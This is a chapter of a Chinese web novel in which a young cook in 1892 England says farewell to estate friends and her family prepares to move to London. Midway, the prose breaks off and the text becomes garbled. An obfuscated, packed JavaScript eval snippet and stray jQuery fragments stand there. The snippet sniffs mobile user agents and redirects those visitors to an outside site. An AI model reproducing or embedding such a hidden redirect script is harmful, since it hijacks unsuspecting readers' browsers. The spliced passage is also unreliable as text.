春去秋来，转眼安珀十五岁的生日也过了，时间来到1892年冬季。


    经过这一年多的饮食调理加运动锻炼，她的身高直线往上窜，身材也终于摆脱了七八岁的幼稚儿童身材，显露出少女特有的曲线，连带着整个人的气质都变得明亮起来。


    靠着寻找丈夫的执念，玛利亚太太也逐渐走出了丧子之痛。


    有句话怎么说来着？


    爱比恨长久，今日一见，此言虚言。


    前往伦敦寻找威尔逊先生一事，也重新摆上了台面。


    “等过了圣诞，天气再暖和一些，我们就去伦敦。”玛利亚太太一锤定音。


    安珀掰着手指数了数日子，现在已是十月，距离圣诞还有一个半月的时间，接着便是新年。按照庄园的惯例，新年时仆人们的奖金最为丰厚，若能坚持到那时再离开，手头也能更宽裕些。


    也该跟罗拉太太说一声了，她待自己不薄，提前知会也好让对方有个心理准备，有时间物色新的厨娘。还有莫莉太太和莉莉，朝夕相处这些日子，总要好好道个别。


    “去伦敦？”罗拉太太放下手中的账本，老花镜后的眼睛闪了闪，“你一向机敏，人也聪慧，是该去更大的地方闯闯。我会跟夫人商量，给你加些薪水，毕竟这是你在赫伯庄园最后一个圣诞了。”


    安珀眼眶一热：“谢谢您，罗拉太太。”


    告别了罗拉太太，她来到厨房。


    “来啦？”莫莉太太头也不回，“正好帮我尝尝这酱汁。”她舀起一勺递过来，动作熟练得仿佛已经这样做过千百次。


    安珀抿了一口，熟悉的滋味在舌尖绽放：“完美。”


    莫莉太太“哼”了一声：“还用你说。”她擦了擦手，突然正色道：“听说你要去伦敦了？”


    安珀点点头，手指无意识地摩挲着围裙边缘。


    “也好。”她转身去搅动炖锅，“在你离开之前，我想最后教你一道菜，这可是我的拿手绝活。想当年，我跟我丈夫就是因为这道菜结缘的……”


    莉莉在一旁听了，立刻凑过来，笑嘻嘻地挽住莫莉太太的胳膊：“莫莉太太，您可不能厚此薄彼，我也想学！”


    莫莉太太佯装嫌弃地戳了戳她的额头，却还是笑了：“学学学，都来学！这道菜简单得很，偏偏贵族们都爱得不得了，你们学会了，说不定还能靠它谋个更好的差事！”


    安珀望着莫莉太太慈祥的笑脸，鼻尖忽然有些发酸，她知道，这是莫莉太太独特的告别方式。


    *


    午后，两姐妹好不容易有了一段休息时光，安珀准备跟莉莉正式道个别。


    她们并肩走在乡间的小路上，脚下是满地的落叶，每走一步都发出清脆的碎裂声。路旁的山毛榉已经褪去夏日的葱郁，枝头仅存的几片枯叶在风中摇曳。远处的麦田收割殆尽，麦子被整齐地堆成一个又一个麦卷，只剩下一望无际的麦茬在阳光下泛着温暖的金棕色。


    抛开在这里遇见的烦心事，戈恩确实美不胜收。


    问及为什么要去伦敦的事，安珀道：“妈妈她还是放不下舍不得，奥尔兰多先生的人打探到消息，有人在南肯辛顿见过他……”


    莉莉十分落寞：“我们这一别也不知道什么时候还能再见……”


    “会再见的，等我安顿下来，就给你写信。或许有一天你也会想来伦敦发展呢？”安珀安慰了一下沮丧着脸的莉莉，“我还期待，我开了餐厅，你来给我做副手呢！”


    两人沿着篱笆继续前行，刚过了个弯，一株火红的野山楂突然闯入视线。


    民间素有山楂辟邪的说法，但作为职业厨子，安珀第一个想到的就是山楂果酱。


    正好她还愁送什么临别礼物！


    傍晚时分，安珀带着新做的山楂果酱去了教堂。


    彩绘玻璃将暮光滤成瑰丽的色块，在空荡荡的音乐室里投下斑驳的影子。


    安珀鬼使神差地走到钢琴前，掀开落满灰尘的琴盖。一支《离别曲》从她的指尖断断续续地倾泻而下，琴声生涩地流淌，有几个音符明显走了调。


    才两周没有练习，她的手又生疏了。安珀懊恼地停下，心叹自己果然没什么音乐上的天赋，跟着奥尔兰多学了一年多，也就勉强能弹几首耳熟能详的曲子。


    随后她又自我安慰起来，我是个粗人，又不是音乐家，我的手就不是弹钢琴的手！


    “不错，有进步！”


    熟悉的声音让安珀下意识回头，却见奥尔兰多正站在门口，夕阳为他镀上一层金边，像是从旧时光里走出来的剪影。


    “奥尔兰多先生！”安珀的声音里带着掩不住的惊喜，“还以为你今天不在……”


    “听说你要去伦敦了？”他缓步走来，琴键在他经过时发出轻微的嗡鸣。


    安珀点点头：“下个月就出发。”


    她的目光不自觉地落在那罐放在琴凳旁的山楂酱上。


    奥尔兰多顺着她的视线看去，嘴角浮现出安珀熟悉的温和笑意：“给我的吗？”


    “嗯！”安珀的脸微微发热，“我身无长物，只有这身厨艺还过得去，没什么可以表达对您的谢意。”


    奥尔兰多轻轻拧开玻璃罐，酸甜的香气立刻在空气中弥漫开来。“糖放得刚好，”他仔细端详着酱体的色泽，“但需要再加一层蜂蜡密封。”


    “我家没有蜂蜡，”安珀不好意思地笑笑，“不过您要是快点吃完就没事了。”


    “那我吃完了怎么办？”奥尔兰多突然抬眼看她，“你都走了。”


    “这……”安珀也有些苦恼，不知如何回应，她试探性地问：“那我再给您寄点？”


    奥尔兰多轻笑一声，转身走向教堂深处的储物间。那里堆满了岁月的痕迹，奥尔兰多熟练地找出蜂蜡和棉布，把果酱封存好。


    “我会好好享用的。”


    天色渐暗，音乐室的光影早已褪去，只剩下朦胧的灰蓝色笼罩着教堂。


    “天色不早了，你该回去了。”奥尔兰多替安珀推开音乐室的门。


    安珀向后奋力地挥了挥手：“帮我跟高文说一声道别！我会回来看你们的——”


    *


    冬去春来，终究还是到了离别前夕。


    戈恩距离伦敦有好几百公里的路程，除了开车，就只剩下一个选择——坐火车。


    从利物浦到伦敦大约要坐六到七小时的火车，如果坐二等舱，每人需要花费十二到十五先令，她们六个人就是三镑左右，这还不算从戈恩到利物浦的时间和金钱。而且她们随身携带大量行李，还需要两位脚夫的协助，加上超过的行李额度也需要付钱，零零总总加起来，怎么也要五镑以上。


    这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601795|171384||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可是一笔不小的开支。


    玛利亚太太盘算了一下：“实在不行，就把家里的马车卖掉吧，反正去了伦敦我们用不上了。”


    马车是威尔逊先生以前为了附庸风雅买的，当时还请了一段时间马夫，后面实在养不起了，马夫就被辞退了，马车也就闲置了，马匹由科琳照顾，一直养在农场。


    “妈妈，我们就这么去伦敦，人生地不熟的……”


    “别担心，我早考虑好了。”玛利亚太太放下羽毛笔，露出这些天来第一个轻松的笑容，“我在伦敦还有几个姐妹，咳，我已经跟其中一位联系上了，我们可以暂时住在她那边，比旅馆便宜，然后再慢慢找房子。”


    “目前也只能如此了。”


    伊丽莎白陪着玛利亚太太，干脆利落地卖了马匹和马车。马车折价得厉害，马匹也算不上年轻力壮，所以最后只贱卖了六十镑。随后，又把家里的田和农场全部租赁出去，手里总算是有了一笔还算可观的费用，足够支撑一家人在伦敦生活几个月了。


    令人欣慰的是，曾经在威尔逊家工作过的霍尔太太的丈夫表示愿意随行，且可以等她们安顿好以后，再支付报酬。


    夜晚，玛利亚太太正在认真地做着针线活——她给每个女儿的裙子缝了个内袋，把今天卖马车的硬币分开装进去。


    “我离开伦敦那年，那里的扒手非常多。”她边缝边叮嘱，“这么多年过去了，也不知道治安有没有好转，钱财还是贴身收着最安全。”


    她们是举家迁徙，行李自然不少。


    威尔逊先生虽然拿走了家里的贵重物品，但还有不少衣物可以带走。


    “这些都不要了，卖掉吧。”玛丽亚太太指挥着女儿们，“咱们挑能带走的带走。”


    “天哪，这条裙子我找了整整一年！”伊丽莎白从衣柜深处拽出一条湖蓝色的连衣裙，兴奋地在身上比划。


    “我的素描本可不能落下。”科琳小心翼翼地将一叠画稿收进箱子。


    “这些玩具怎么办……”贝拉拿起一个漂亮的洋娃娃，犹豫不决地跟艾米丽商量着。


    “每人最多带三件。”玛利亚太太斩钉截铁地对双胞胎说，“女孩们，你们已经长大了，不再是需要洋娃娃陪睡的年龄了。”


    相较之下，安珀的行李是最少的，她既没有伊丽莎白臭美，有那么多漂亮裙子，也没有科琳浪漫，喜欢画画，更没有双胞胎那么幼稚，拥有不少玩具。


    这些年，她一心扑在厨艺上，而厨房用品是生活必须品，必然是要带走的。


    最后，她也只拿走了原生最爱的八音盒。


    饶是如此，最后也整理出来足足八个大皮箱。


    窗外，春风吹拂着农场里的冒芽的嫩草，发出簌簌的声响。


    安珀抱着膝盖坐在阁楼的窗前，望着夜空中闪烁的星辰。对于这个住了快三年的小镇，说完全没感情是假的。可她仍然向往外面的生活，一如刚刚穿越来时那样。


    只是现在她的心境早已不同了，没有父权的压力，她对于新生活涌现出无限地希冀——


    就像当初决定留在纽约创业一样。


    *


    我告别了我出生的屋子，


    离开了天使们守护的家园，


    我忙着赶路，无暇回顾，


    向前走去，什么也不眷恋。①